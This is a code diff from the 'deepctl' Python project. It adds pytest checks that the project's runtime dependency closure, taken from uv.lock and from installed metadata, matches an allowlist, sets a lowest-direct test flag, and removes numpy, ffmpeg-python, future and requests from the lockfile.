+
+REPO = Path(__file__).resolve().parents[2]
+ALLOWLIST = Path(__file__).with_name("dependency_allowlist.txt")
+ROOT_NAME = "deepctl"
+# Versioned on its own, the way an outside plugin would be.
+NOT_LOCKSTEP = {"deepctl-plugin-example"}
+FORBIDDEN = {"numpy", "ffmpeg-python", "future"}
+
+
+def normalize(name: str) -> str:
+    """PEP 503 normalized distribution name."""
+    return re.sub(r"[-_.]+", "-", name).lower()
+
+
+def lockstep_names(repo: Path = REPO) -> set[str]:
+    """The root and every first-party sibling that versions with it."""
+    names = {ROOT_NAME}
+    for pyproject in sorted((repo / "packages").glob("*/pyproject.toml")):
+        with pyproject.open("rb") as fh:
+            name = normalize(tomllib.load(fh)["project"]["name"])
+        if name not in NOT_LOCKSTEP:
+            names.add(name)
+    return names
+
+
+FLAGS = {"floors-only"}
+#: Set by tests/upgrade/lowest_direct.sh: this process runs in the
+#: environment resolved at the declared floors.
+LOWEST_DIRECT_ENV = "DEEPCTL_LOWEST_DIRECT"
+
+
+def parse_allowlist(path: Path = ALLOWLIST) -> list[tuple[str, frozenset[str]]]:
+    """(name, flags) per entry, in file order, without comments or blanks."""
+    entries = []
+    for number, line in enumerate(path.read_text(encoding="utf-8").splitlines(), 1):
+        fields = line.split("#", 1)[0].split()
+        if not fields:
+            continue
+        name, flags = fields[0], frozenset(fields[1:])
+        unknown = flags - FLAGS
+        if unknown:
+            raise ValueError(f"{path.name}:{number}: unknown flag(s) {sorted(unknown)}")
+        entries.append((name, flags))
+    return entries
+
+
+def read_allowlist(path: Path = ALLOWLIST) -> list[str]:
+    """Allowlisted names, in file order."""
+    return [name for name, _ in parse_allowlist(path)]
+
+
+def floors_only(path: Path = ALLOWLIST) -> set[str]:
+    """Entries reached only at declared floors, not through uv.lock."""
+    return {name for name, flags in parse_allowlist(path) if "floors-only" in flags}
+
+
+def lock_closure(lock: dict[str, Any], roots: set[str]) -> set[str]:
+    """Third-party names reachable from `roots` through runtime deps."""
+    by_name: dict[str, list[dict[str, Any]]] = {}
+    for package in lock["package"]:
+        by_name.setdefault(normalize(package["name"]), []).append(package)
+
+    seen: set[tuple[str, str | None]] = set()
+    todo: list[tuple[str, str | None]] = [(root, None) for root in roots]
+    reached: set[str] = set()
+    while todo:
+        name, extra = todo.pop()
+        if (name, extra) in seen:
+            continue
+        seen.add((name, extra))
+        reached.add(name)
+        for package in by_name.get(name, []):
+            if extra is None:
+                deps = package.get("dependencies", [])
+            else:
+                deps = package.get("optional-dependencies", {}).get(extra, [])
+            for dep in deps:
+                dep_name = normalize(dep["name"])
+                todo.append((dep_name, None))
+                todo.extend((dep_name, e) for e in dep.get("extra", []))
+    return reached - roots
+
+
+def installed_closure(roots: set[str]) -> set[str]:
+    """Third-party names reachable from the installed `roots` through
+    Requires-Dist, with markers evaluated for this interpreter."""
+    from packaging.requirements import Requirement
+
+    seen: set[tuple[str, str]] = set()
+    todo: list[tuple[str, str]] = [(root, "") for root in roots]
+    reached: set[str] = set()
+    while todo:
+        name, extra = todo.pop()
+        if (name, extra) in seen:
+            continue
+        seen.add((name, extra))
+        try:
+            requires = metadata.requires(name) or []
+        except metadata.PackageNotFoundError:
+            # A marker can name a dist this platform never installs.
+            continue
+        reached.add(name)
+        for raw in requires:
+            req = Requirement(raw)
+            if req.marker is not None and not req.marker.evaluate({"extra": extra}):
+                continue
+            dep = normalize(req.name)
+            todo.append((dep, ""))
+            todo.extend((dep, e) for e in req.extras)
+    return reached - roots
+
+
+def violations(closure: set[str], allowlist: set[str]) -> list[str]:
+    """Why the closure fails: unlisted names, then forbidden ones."""
+    problems = [
+        f"{name} is a runtime dependency but is not in {ALLOWLIST.name}"
+        for name in sorted(closure - allowlist)
+    ]
+    problems += [
+        f"{name} was dropped in 0.5.0 and must not come back"
+        for name in sorted(closure & FORBIDDEN)
+    ]
+    return problems
+
+
+@pytest.fixture(scope="module")
+def lock() -> dict[str, Any]:
+    with (REPO / "uv.lock").open("rb") as fh:
+        return tomllib.load(fh)
+
+
+@pytest.fixture(scope="module")
+def roots() -> set[str]:
+    names = lockstep_names()
+    assert len(names) == 30, sorted(names)
+    return names
+
+
+def test_allowlist_is_sorted_unique_and_normalized() -> None:
+    entries = read_allowlist()
+    assert entries == sorted(set(entries)), "keep the allowlist sorted, no repeats"
+    assert all(entry == normalize(entry) for entry in entries)
+    assert not FORBIDDEN & set(entries)
+
+
+def test_locked_closure_is_allowlisted(lock: dict[str, Any], roots: set[str]) -> None:
+    closure = lock_closure(lock, roots)
+    assert violations(closure, set(read_allowlist())) == []
+
+
+def test_allowlist_has_no_stale_entries(lock: dict[str, Any], roots: set[str]) -> None:
+    """An entry nothing depends on any more is removed, so the list stays a
+    true picture of what installs."""
+    stale = set(read_allowlist()) - lock_closure(lock, roots) - floors_only()
+    assert not stale, f"no longer a runtime dependency: {sorted(stale)}"
+
+
+def test_installed_closure_is_allowlisted(roots: set[str]) -> None:
+    missing = sorted(r for r in roots if not _installed(r))
+    if missing:
+        pytest.skip(f"lockstep packages not installed here: {missing}")
+    closure = installed_closure(roots)
+    assert violations(closure, set(read_allowlist())) == []
+
+
+def test_floors_only_entries_are_installed_at_the_floors(roots: set[str]) -> None:
+    """In the lowest-direct environment, every floors-only entry must really
+    be pulled in; one that is not is stale and comes off the list."""
+    if os.environ.get(LOWEST_DIRECT_ENV) != "1":
+        pytest.skip(f"only in the lowest-direct job ({LOWEST_DIRECT_ENV}=1)")
+    missing = sorted(floors_only() - installed_closure(roots))
+    assert not missing, f"floors-only but not reached at the floors: {missing}"
+
+
+def test_unknown_flags_are_refused(tmp_path: Path) -> None:
+    listing = tmp_path / "allow.txt"
+    listing.write_text("idna\nsix floors-onyl  # typo\n", encoding="utf-8")
+    with pytest.raises(ValueError, match="unknown flag"):
+        parse_allowlist(listing)
+
+
+def test_flags_and_comments_parse(tmp_path: Path) -> None:
+    listing = tmp_path / "allow.txt"
+    listing.write_text("# header\nidna\nsix floors-only  # why\n\n", encoding="utf-8")
+    assert parse_allowlist(listing) == [
+        ("idna", frozenset()),
+        ("six", frozenset({"floors-only"})),
+    ]
+
+
+def _installed(name: str) -> bool:
+    try:
+        metadata.distribution(name)
+    except metadata.PackageNotFoundError:
+        return False
+    return True
+
+
+# -- negative fixtures: the check catches what it is for -------------------
+
+
+def _planted(lock: dict[str, Any], extra_dep: str) -> dict[str, Any]:
+    """A copy of the lock where deepctl-core gains `extra_dep`, which in turn
+    depends on six (a transitive addition)."""
+    packages = []
+    for package in lock["package"]:
+        package = dict(package)
+        if package["name"] == "deepctl-core":
+            package["dependencies"] = [
+                *package.get("dependencies", []),
+                {"name": extra_dep},
+            ]
+        packages.append(package)
+    packages.append(
+        {"name": extra_dep, "version": "1.0", "dependencies": [{"name": "six"}]}
+    )
+    packages.append({"name": "six", "version": "1.17.0"})
+    return {**lock, "package": packages}
+
+
+def test_a_planted_dependency_fails(lock: dict[str, Any], roots: set[str]) -> None:
+    allowlist = set(read_allowlist())
+    closure = lock_closure(_planted(lock, "left-pad-py"), roots)
+    problems = violations(closure, allowlist)
+    assert any(p.startswith("left-pad-py ") for p in problems)
+    if "six" not in allowlist:
+        assert any(p.startswith("six ") for p in problems)
+
+
+@pytest.mark.parametrize("dropped", sorted(FORBIDDEN))
+def test_a_dropped_dependency_fails_even_if_allowlisted(
+    lock: dict[str, Any], roots: set[str], dropped: str
+) -> None:
+    allowlist = set(read_allowlist()) | {dropped}
+    closure = lock_closure(_planted(lock, dropped), roots)
+    assert violations(closure, allowlist | {"six"}) == [
+        f"{dropped} was dropped in 0.5.0 and must not come back"
+    ]
+
+
+def test_extras_are_followed(lock: dict[str, Any], roots: set[str]) -> None:
+    """A dependency requested with an extra pulls in that extra's deps."""
+    planted = _planted(lock, "pkg-with-extra")
+    for package in planted["package"]:
+        if package["name"] == "deepctl-core":
+            package["dependencies"][-1] = {"name": "pkg-with-extra", "extra": ["x"]}
+        if package["name"] == "pkg-with-extra":
+            package["optional-dependencies"] = {"x": [{"name": "only-via-extra"}]}
+    assert "only-via-extra" in lock_closure(planted, roots)
diff --git a/tests/upgrade/lowest_direct.sh b/tests/upgrade/lowest_direct.sh
index 3b4ddd9f..a5b0edb3 100755
--- a/tests/upgrade/lowest_direct.sh
+++ b/tests/upgrade/lowest_direct.sh
@@ -20,6 +20,8 @@ DIST=$(cd "$1" && pwd); PY=${2:-python3}; PHASE=${3:-all}
 HERE=$(cd "$(dirname "$0")" && pwd)
 ENV=${LOWEST_ENV:-${TMPDIR:-/tmp}/lowest-direct}
 export DEEPCTL_TELEMETRY_DISABLED=1 DEEPCTL_TELEMETRY_DSN=http://k@127.0.0.1:9/1
+# tests/unit/test_dependency_allowlist.py checks its floors-only entries here.
+export DEEPCTL_LOWEST_DIRECT=1
 TEST_TOOLS="pytest pytest-asyncio pytest-mock pytest-timeout responses"
 
 if [ "$PHASE" != test ]; then
diff --git a/uv.lock b/uv.lock
index 83cbfddb..4b9e3c2e 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1168,7 +1168,6 @@ dependencies = [
     { name = "click" },
     { name = "deepctl" },
     { name = "deepctl-core" },
-    { name = "ffmpeg-python" },
     { name = "httpx" },
     { name = "pydantic" },
     { name = "rich" },
@@ -1179,7 +1178,6 @@ requires-dist = [
     { name = "click", specifier = ">=8.2.0,<9" },
     { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
-    { name = "ffmpeg-python", specifier = ">=0.2.0" },
     { name = "httpx", specifier = ">=0.24.0,<1" },
     { name = "pydantic", specifier = ">=2.0.0,<3" },
     { name = "rich", specifier = ">=13.0.0,<16" },
@@ -1229,7 +1227,6 @@ dependencies = [
     { name = "deepctl-core" },
     { name = "httpx" },
     { name = "pydantic" },
-    { name = "requests" },
     { name = "rich" },
 ]
 
@@ -1240,7 +1237,6 @@ requires-dist = [
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "httpx", specifier = ">=0.24.0,<1" },
     { name = "pydantic", specifier = ">=2.0.0,<3" },
-    { name = "requests", specifier = ">=2.31,<3.0" },
     { name = "rich", specifier = ">=13.0.0,<16" },
 ]
 
@@ -1384,9 +1380,6 @@ dependencies = [
     { name = "deepctl-core" },
     { name = "deepctl-shared-utils" },
     { name = "deepgram-captions" },
-    { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
-    { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.11.*'" },
-    { name = "numpy", version = "2.5.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" },
     { name = "pydantic" },
     { name = "rich" },
     { name = "sounddevice" },
@@ -1401,7 +1394,6 @@ requires-dist = [
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepctl-shared-utils", editable = "packages/deepctl-shared-utils" },
     { name = "deepgram-captions", specifier = ">=2.0.0" },
-    { name = "numpy", specifier = ">=1.24.0" },
     { name = "pydantic", specifier = ">=2.0.0,<3" },
     { name = "rich", specifier = ">=13.0.0,<16" },
     { name = "sounddevice", specifier = ">=0.4.6" },
@@ -1883,18 +1875,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" },
 ]
 
-[[package]]
-name = "ffmpeg-python"
-version = "0.2.0"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
-    { name = "future" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/dd/5e/d5f9105d59c1325759d838af4e973695081fbbc97182baf73afc78dec266/ffmpeg-python-0.2.0.tar.gz", hash = "sha256:65225db34627c578ef0e11c8b1eb528bb35e024752f6f10b78c011f6f64c4127", size = 21543, upload-time = "2019-07-06T00:19:08.989Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/d7/0c/56be52741f75bad4dc6555991fabd2e07b432d333da82c11ad701123888a/ffmpeg_python-0.2.0-py3-none-any.whl", hash = "sha256:ac441a0404e053f8b6a1113a77c0f452f1cfc62f6344a769475ffdc0f56c23c5", size = 25024, upload-time = "2019-07-06T00:19:07.215Z" },
-]
-
 [[package]]
 name = "filelock"
 version = "3.32.3"
@@ -2025,15 +2005,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/9a/9a/e35b4a917281c0b8419d4207f4334c8e8c5dbf4f3f5f9ada73958d937dcc/frozenlist-1.8.0-py3-none-any.whl", hash = "sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d", size = 13409, upload-time = "2025-10-06T05:38:16.721Z" },
 ]
 
-[[package]]
-name = "future"
-version = "1.0.0"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/a7/b2/4140c69c6a66432916b26158687e821ba631a4c9273c474343badf84d3ba/future-1.0.0.tar.gz", hash = "sha256:bd2968309307861edae1458a4f8a4f3598c03be43b97521076aebf5d94c07b05", size = 1228490, upload-time = "2024-02-21T11:52:38.461Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/da/71/ae30dadffc90b9006d77af76b393cb9dfbfc9629f339fc1574a1c52e6806/future-1.0.0-py3-none-any.whl", hash = "sha256:929292d34f5872e70396626ef385ec22355a1fae8ad29e1a734c3e43f9fbc216", size = 491326, upload-time = "2024-02-21T11:52:35.956Z" },
-]
-
 [[package]]
 name = "h11"
 version = "0.16.0"
@@ -2707,231 +2678,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/88/b2/d0896bdcdc8d28a7fc5717c305f1a861c26e18c05047949fb371034d98bd/nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827", size = 23438, upload-time = "2025-12-20T14:08:52.782Z" },
 ]
 
-[[package]]
-name = "numpy"
-version = "2.2.6"
-source = { registry = "https://pypi.org/simple" }
-resolution-markers = [
-    "python_full_version < '3.11'",
-]
-sdist = { url = "https://files.pythonhosted.org/packages/76/21/7d2a95e4bba9dc13d043ee156a356c0a8f0c6309dff6b21b4d71a073b8a8/numpy-2.2.6.tar.gz", hash = "sha256:e29554e2bef54a90aa5cc07da6ce955accb83f21ab5de01a62c8478897b264fd", size = 20276440, upload-time = "2025-05-17T22:38:04.611Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/9a/3e/ed6db5be21ce87955c0cbd3009f2803f59fa08df21b5df06862e2d8e2bdd/numpy-2.2.6-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b412caa66f72040e6d268491a59f2c43bf03eb6c96dd8f0307829feb7fa2b6fb", size = 21165245, upload-time = "2025-05-17T21:27:58.555Z" },
-    { url = "https://files.pythonhosted.org/packages/22/c2/4b9221495b2a132cc9d2eb862e21d42a009f5a60e45fc44b00118c174bff/numpy-2.2.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8e41fd67c52b86603a91c1a505ebaef50b3314de0213461c7a6e99c9a3beff90", size = 14360048, upload-time = "2025-05-17T21:28:21.406Z" },
-    { url = "https://files.pythonhosted.org/packages/fd/77/dc2fcfc66943c6410e2bf598062f5959372735ffda175b39906d54f02349/numpy-2.2.6-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:37e990a01ae6ec7fe7fa1c26c55ecb672dd98b19c3d0e1d1f326fa13cb38d163", size = 5340542, upload-time = "2025-05-17T21:28:30.931Z" },
-    { url = "https://files.pythonhosted.org/packages/7a/4f/1cb5fdc353a5f5cc7feb692db9b8ec2c3d6405453f982435efc52561df58/numpy-2.2.6-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:5a6429d4be8ca66d889b7cf70f536a397dc45ba6faeb5f8c5427935d9592e9cf", size = 6878301, upload-time = "2025-05-17T21:28:41.613Z" },
-    { url = "https://files.pythonhosted.org/packages/eb/17/96a3acd228cec142fcb8723bd3cc39c2a474f7dcf0a5d16731980bcafa95/numpy-2.2.6-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:efd28d4e9cd7d7a8d39074a4d44c63eda73401580c5c76acda2ce969e0a38e83", size = 14297320, upload-time = "2025-05-17T21:29:02.78Z" },
-    { url = "https://files.pythonhosted.org/packages/b4/63/3de6a34ad7ad6646ac7d2f55ebc6ad439dbbf9c4370017c50cf403fb19b5/numpy-2.2.6-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc7b73d02efb0e18c000e9ad8b83480dfcd5dfd11065997ed4c6747470ae8915", size = 16801050, upload-time = "2025-05-17T21:29:27.675Z" },
-    { url = "https://files.pythonhosted.org/packages/07/b6/89d837eddef52b3d0cec5c6ba0456c1bf1b9ef6a6672fc2b7873c3ec4e2e/numpy-2.2.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:74d4531beb257d2c3f4b261bfb0fc09e0f9ebb8842d82a7b4209415896adc680", size = 15807034, upload-time = "2025-05-17T21:29:51.102Z" },
-    { url = "https://files.pythonhosted.org/packages/01/c8/dc6ae86e3c61cfec1f178e5c9f7858584049b6093f843bca541f94120920/numpy-2.2.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8fc377d995680230e83241d8a96def29f204b5782f371c532579b4f20607a289", size = 18614185, upload-time = "2025-05-17T21:30:18.703Z" },
-    { url = "https://files.pythonhosted.org/packages/5b/c5/0064b1b7e7c89137b471ccec1fd2282fceaae0ab3a9550f2568782d80357/numpy-2.2.6-cp310-cp310-win32.whl", hash = "sha256:b093dd74e50a8cba3e873868d9e93a85b78e0daf2e98c6797566ad8044e8363d", size = 6527149, upload-time = "2025-05-17T21:30:29.788Z" },
-    { url = "https://files.pythonhosted.org/packages/a3/dd/4b822569d6b96c39d1215dbae0582fd99954dcbcf0c1a13c61783feaca3f/numpy-2.2.6-cp310-cp310-win_amd64.whl", hash = "sha256:f0fd6321b839904e15c46e0d257fdd101dd7f530fe03fd6359c1ea63738703f3", size = 12904620, upload-time = "2025-05-17T21:30:48.994Z" },
-    { url = "https://files.pythonhosted.org/packages/da/a8/4f83e2aa666a9fbf56d6118faaaf5f1974d456b1823fda0a176eff722839/numpy-2.2.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f9f1adb22318e121c5c69a09142811a201ef17ab257a1e66ca3025065b7f53ae", size = 21176963, upload-time = "2025-05-17T21:31:19.36Z" },
-    { url = "https://files.pythonhosted.org/packages/b3/2b/64e1affc7972decb74c9e29e5649fac940514910960ba25cd9af4488b66c/numpy-2.2.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c820a93b0255bc360f53eca31a0e676fd1101f673dda8da93454a12e23fc5f7a", size = 14406743, upload-time = "2025-05-17T21:31:41.087Z" },
-    { url = "https://files.pythonhosted.org/packages/4a/9f/0121e375000b5e50ffdd8b25bf78d8e1a5aa4cca3f185d41265198c7b834/numpy-2.2.6-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:3d70692235e759f260c3d837193090014aebdf026dfd167834bcba43e30c2a42", size = 5352616, upload-time = "2025-05-17T21:31:50.072Z" },
-    { url = "https://files.pythonhosted.org/packages/31/0d/b48c405c91693635fbe2dcd7bc84a33a602add5f63286e024d3b6741411c/numpy-2.2.6-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:481b49095335f8eed42e39e8041327c05b0f6f4780488f61286ed3c01368d491", size = 6889579, upload-time = "2025-05-17T21:32:01.712Z" },
-    { url = "https://files.pythonhosted.org/packages/52/b8/7f0554d49b565d0171eab6e99001846882000883998e7b7d9f0d98b1f934/numpy-2.2.6-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b64d8d4d17135e00c8e346e0a738deb17e754230d7e0810ac5012750bbd85a5a", size = 14312005, upload-time = "2025-05-17T21:32:23.332Z" },
-    { url = "https://files.pythonhosted.org/packages/b3/dd/2238b898e51bd6d389b7389ffb20d7f4c10066d80351187ec8e303a5a475/numpy-2.2.6-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ba10f8411898fc418a521833e014a77d3ca01c15b0c6cdcce6a0d2897e6dbbdf", size = 16821570, upload-time = "2025-05-17T21:32:47.991Z" },
-    { url = "https://files.pythonhosted.org/packages/83/6c/44d0325722cf644f191042bf47eedad61c1e6df2432ed65cbe28509d404e/numpy-2.2.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:bd48227a919f1bafbdda0583705e547892342c26fb127219d60a5c36882609d1", size = 15818548, upload-time = "2025-05-17T21:33:11.728Z" },
-    { url = "https://files.pythonhosted.org/packages/ae/9d/81e8216030ce66be25279098789b665d49ff19eef08bfa8cb96d4957f422/numpy-2.2.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:9551a499bf125c1d4f9e250377c1ee2eddd02e01eac6644c080162c0c51778ab", size = 18620521, upload-time = "2025-05-17T21:33:39.139Z" },
-    { url = "https://files.pythonhosted.org/packages/6a/fd/e19617b9530b031db51b0926eed5345ce8ddc669bb3bc0044b23e275ebe8/numpy-2.2.6-cp311-cp311-win32.whl", hash = "sha256:0678000bb9ac1475cd454c6b8c799206af8107e310843532b04d49649c717a47", size = 6525866, upload-time = "2025-05-17T21:33:50.273Z" },
-    { url = "https://files.pythonhosted.org/packages/31/0a/f354fb7176b81747d870f7991dc763e157a934c717b67b58456bc63da3df/numpy-2.2.6-cp311-cp311-win_amd64.whl", hash = "sha256:e8213002e427c69c45a52bbd94163084025f533a55a59d6f9c5b820774ef3303", size = 12907455, upload-time = "2025-05-17T21:34:09.135Z" },
-    { url = "https://files.pythonhosted.org/packages/82/5d/c00588b6cf18e1da539b45d3598d3557084990dcc4331960c15ee776ee41/numpy-2.2.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:41c5a21f4a04fa86436124d388f6ed60a9343a6f767fced1a8a71c3fbca038ff", size = 20875348, upload-time = "2025-05-17T21:34:39.648Z" },
-    { url = "https://files.pythonhosted.org/packages/66/ee/560deadcdde6c2f90200450d5938f63a34b37e27ebff162810f716f6a230/numpy-2.2.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:de749064336d37e340f640b05f24e9e3dd678c57318c7289d222a8a2f543e90c", size = 14119362, upload-time = "2025-05-17T21:35:01.241Z" },
-    { url = "https://files.pythonhosted.org/packages/3c/65/4baa99f1c53b30adf0acd9a5519078871ddde8d2339dc5a7fde80d9d87da/numpy-2.2.6-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:894b3a42502226a1cac872f840030665f33326fc3dac8e57c607905773cdcde3", size = 5084103, upload-time = "2025-05-17T21:35:10.622Z" },
-    { url = "https://files.pythonhosted.org/packages/cc/89/e5a34c071a0570cc40c9a54eb472d113eea6d002e9ae12bb3a8407fb912e/numpy-2.2.6-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:71594f7c51a18e728451bb50cc60a3ce4e6538822731b2933209a1f3614e9282", size = 6625382, upload-time = "2025-05-17T21:35:21.414Z" },
-    { url = "https://files.pythonhosted.org/packages/f8/35/8c80729f1ff76b3921d5c9487c7ac3de9b2a103b1cd05e905b3090513510/numpy-2.2.6-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2618db89be1b4e05f7a1a847a9c1c0abd63e63a1607d892dd54668dd92faf87", size = 14018462, upload-time = "2025-05-17T21:35:42.174Z" },
-    { url = "https://files.pythonhosted.org/packages/8c/3d/1e1db36cfd41f895d266b103df00ca5b3cbe965184df824dec5c08c6b803/numpy-2.2.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd83c01228a688733f1ded5201c678f0c53ecc1006ffbc404db9f7a899ac6249", size = 16527618, upload-time = "2025-05-17T21:36:06.711Z" },
-    { url = "https://files.pythonhosted.org/packages/61/c6/03ed30992602c85aa3cd95b9070a514f8b3c33e31124694438d88809ae36/numpy-2.2.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:37c0ca431f82cd5fa716eca9506aefcabc247fb27ba69c5062a6d3ade8cf8f49", size = 15505511, upload-time = "2025-05-17T21:36:29.965Z" },
-    { url = "https://files.pythonhosted.org/packages/b7/25/5761d832a81df431e260719ec45de696414266613c9ee268394dd5ad8236/numpy-2.2.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fe27749d33bb772c80dcd84ae7e8df2adc920ae8297400dabec45f0dedb3f6de", size = 18313783, upload-time = "2025-05-17T21:36:56.883Z" },
-    { url = "https://files.pythonhosted.org/packages/57/0a/72d5a3527c5ebffcd47bde9162c39fae1f90138c961e5296491ce778e682/numpy-2.2.6-cp312-cp312-win32.whl", hash = "sha256:4eeaae00d789f66c7a25ac5f34b71a7035bb474e679f410e5e1a94deb24cf2d4", size = 6246506, upload-time = "2025-05-17T21:37:07.368Z" },
-    { url = "https://files.pythonhosted.org/packages/36/fa/8c9210162ca1b88529ab76b41ba02d433fd54fecaf6feb70ef9f124683f1/numpy-2.2.6-cp312-cp312-win_amd64.whl", hash = "sha256:c1f9540be57940698ed329904db803cf7a402f3fc200bfe599334c9bd84a40b2", size = 12614190, upload-time = "2025-05-17T21:37:26.213Z" },
-    { url = "https://files.pythonhosted.org/packages/f9/5c/6657823f4f594f72b5471f1db1ab12e26e890bb2e41897522d134d2a3e81/numpy-2.2.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0811bb762109d9708cca4d0b13c4f67146e3c3b7cf8d34018c722adb2d957c84", size = 20867828, upload-time = "2025-05-17T21:37:56.699Z" },
-    { url = "https://files.pythonhosted.org/packages/dc/9e/14520dc3dadf3c803473bd07e9b2bd1b69bc583cb2497b47000fed2fa92f/numpy-2.2.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:287cc3162b6f01463ccd86be154f284d0893d2b3ed7292439ea97eafa8170e0b", size = 14143006, upload-time = "2025-05-17T21:38:18.291Z" },
-    { url = "https://files.pythonhosted.org/packages/4f/06/7e96c57d90bebdce9918412087fc22ca9851cceaf5567a45c1f404480e9e/numpy-2.2.6-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:f1372f041402e37e5e633e586f62aa53de2eac8d98cbfb822806ce4bbefcb74d", size = 5076765, upload-time = "2025-05-17T21:38:27.319Z" },
-    { url = "https://files.pythonhosted.org/packages/73/ed/63d920c23b4289fdac96ddbdd6132e9427790977d5457cd132f18e76eae0/numpy-2.2.6-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:55a4d33fa519660d69614a9fad433be87e5252f4b03850642f88993f7b2ca566", size = 6617736, upload-time = "2025-05-17T21:38:38.141Z" },
-    { url = "https://files.pythonhosted.org/packages/85/c5/e19c8f99d83fd377ec8c7e0cf627a8049746da54afc24ef0a0cb73d5dfb5/numpy-2.2.6-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f92729c95468a2f4f15e9bb94c432a9229d0d50de67304399627a943201baa2f", size = 14010719, upload-time = "2025-05-17T21:38:58.433Z" },
-    { url = "https://files.pythonhosted.org/packages/19/49/4df9123aafa7b539317bf6d342cb6d227e49f7a35b99c287a6109b13dd93/numpy-2.2.6-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1bc23a79bfabc5d056d106f9befb8d50c31ced2fbc70eedb8155aec74a45798f", size = 16526072, upload-time = "2025-05-17T21:39:22.638Z" },
-    { url = "https://files.pythonhosted.org/packages/b2/6c/04b5f47f4f32f7c2b0e7260442a8cbcf8168b0e1a41ff1495da42f42a14f/numpy-2.2.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e3143e4451880bed956e706a3220b4e5cf6172ef05fcc397f6f36a550b1dd868", size = 15503213, upload-time = "2025-05-17T21:39:45.865Z" },
-    { url = "https://files.pythonhosted.org/packages/17/0a/5cd92e352c1307640d5b6fec1b2ffb06cd0dabe7d7b8227f97933d378422/numpy-2.2.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b4f13750ce79751586ae2eb824ba7e1e8dba64784086c98cdbbcc6a42112ce0d", size = 18316632, upload-time = "2025-05-17T21:40:13.331Z" },
-    { url = "https://files.pythonhosted.org/packages/f0/3b/5cba2b1d88760ef86596ad0f3d484b1cbff7c115ae2429678465057c5155/numpy-2.2.6-cp313-cp313-win32.whl", hash = "sha256:5beb72339d9d4fa36522fc63802f469b13cdbe4fdab4a288f0c441b74272ebfd", size = 6244532, upload-time = "2025-05-17T21:43:46.099Z" },
-    { url = "https://files.pythonhosted.org/packages/cb/3b/d58c12eafcb298d4e6d0d40216866ab15f59e55d148a5658bb3132311fcf/numpy-2.2.6-cp313-cp313-win_amd64.whl", hash = "sha256:b0544343a702fa80c95ad5d3d608ea3599dd54d4632df855e4c8d24eb6ecfa1c", size = 12610885, upload-time = "2025-05-17T21:44:05.145Z" },
-    { url = "https://files.pythonhosted.org/packages/6b/9e/4bf918b818e516322db999ac25d00c75788ddfd2d2ade4fa66f1f38097e1/numpy-2.2.6-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0bca768cd85ae743b2affdc762d617eddf3bcf8724435498a1e80132d04879e6", size = 20963467, upload-time = "2025-05-17T21:40:44Z" },
